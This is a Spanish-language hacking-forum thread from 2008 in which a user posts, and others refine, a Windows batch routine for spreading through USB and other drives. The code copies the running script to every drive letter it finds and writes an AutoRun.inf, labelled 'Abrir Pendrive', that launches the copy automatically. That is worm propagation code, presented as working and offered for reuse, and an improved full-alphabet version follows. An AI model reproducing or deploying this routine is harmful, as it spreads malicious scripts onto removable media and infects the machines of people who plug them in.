elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  Propagacion por USB 2 - by SmartGenius
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Propagacion por USB 2 - by SmartGenius  (Leído 2,841 veces)
SmartGenius

Desconectado Desconectado

Mensajes: 181


:P


Ver Perfil WWW
Propagacion por USB 2 - by SmartGenius
« en: 23 Mayo 2008, 01:27 am »

Creo que hasta ahora es la mejor manera para copiarse y repartirse por USB, aunque es posible optimizarlo tambien usando el comando FOR...

Para el uso de esto se debe hacer una llamada a la etiqueta :copiausb a traves del comando call..

Por ejemplo:

call :copiausb y el code hara el resto de crear el autorun y de copiarlo a las diferentes unidades...

Código:
:copiausb
if exist C: call :creausb C
if exist D: call :creausb D
if exist E: call :creausb E
if exist F: call :creausb F
if exist G: call :creausb G
if exist H: call :creausb H
if exist I: call :creausb I
if exist J: call :creausb J
if exist K: call :creausb K
goto :eof

:creausb
copy %0 "%1:\nombre.bat"
echo [Autorun] > "%1:\AutoRun.inf"
echo open="nombre.bat" >> "%1:\AutoRun.inf"
echo action=Abrir Pendrive >> "%1:\AutoRun.inf"
echo shellexecute= "/nombre.bat" >> "%1:\AutoRun.inf"
goto :eof

Ademas que puede ser extendido para que detecte mas unidades, sin extender tanto el codigo, ahorrandonos varias lineas...

Para la parte del for tengo este code pero no lo he probado:

Código:
FOR %%a in (  C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))

Espero que les sea de utilidad.

Saludos.


En línea


MK-Ultra


Desconectado Desconectado

Mensajes: 435


~ Nevermind ~


Ver Perfil WWW
Re: Propagacion por USB 2 - by SmartGenius
« Respuesta #1 en: 23 Mayo 2008, 04:09 am »

Muchas gracias, sirve bastante =)

Lo sacaste de algun lado o lo has echo tu mismo?


En línea

Agradecer no cuesta nada (al menos no mucho)

BTC: 1DHKsWE6wGkUiHbKkwBDaF8DEGwn9n6nxQ
Crazy.sx


Desconectado Desconectado

Mensajes: 447



Ver Perfil
Re: Propagacion por USB 2 - by SmartGenius
« Respuesta #2 en: 23 Mayo 2008, 05:19 am »

Como sea, me gusta este script.

Citar
Para la parte del for tengo este code pero no lo he probado:

Código:
FOR %%a in (  C D E F G H I J K L M ) do (if exist %%a: (call :creausb %%a))

¿No tendría que estar separado por comas? O es lo mismo así...

FOR %%a in (  C, D, E, F, G, H, I, J, K, L, M ) do (if exist %%a: (call :creausb %%a))

Pero igual, esta bueno.
Saludos
En línea

Destruir K. LOL
SmartGenius

Desconectado Desconectado

Mensajes: 181


:P


Ver Perfil WWW
Re: Propagacion por USB 2 - by SmartGenius
« Respuesta #3 en: 24 Mayo 2008, 03:56 am »

el codigo lo he ideado yo mismo, no lo he copiado de ningun lado, es 100% mio  ::)

ya lo he probado y funciona perfecto, solo hace falta un cambio que me sugirieron pero ahora mas tarde lo pongo...

Saludos.
En línea


SmartGenius

Desconectado Desconectado

Mensajes: 181


:P


Ver Perfil WWW
Re: Propagacion por USB 2 - by SmartGenius
« Respuesta #4 en: 24 Mayo 2008, 20:21 pm »

Bien... el script se ha mejorado, gracias a mi amigo Espesctro Infernal...

Código:
FOR %%A IN (A B C D F G H I J K L M N O P Q R S T U V W X Y Z) DO CALL INTERMEDIARIO %%A
GOTO :EOF

:INTERMEDIARIO
SET UNIDAD=%1
IF EXIST "%UNIDAD%:" (CALL :CREAUSB %UNIDAD%)
GOTO :EOF

:CREAUSB
SET LETRA=%1
COPY %0 "%LETRA%:\NOMBRE.BAT"
ECHO [AUTORUN] > "%LETRA%\AUTORUN.INF"
ECHO OPEN="NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
ECHO ACTION=Abrir Pendrive >> "%LETRA%\AUTORUN.INF"
ECHO SHELLEXECUTE= "\NOMBRE.BAT" >> "%LETRA%\AUTORUN.INF"
GOTO :EOF

Saludos.
En línea


Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Propagación por red.
Análisis y Diseño de Malware
APOKLIPTICO 4 4,490 Último mensaje 12 Marzo 2012, 15:11 pm
por APOKLIPTICO
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines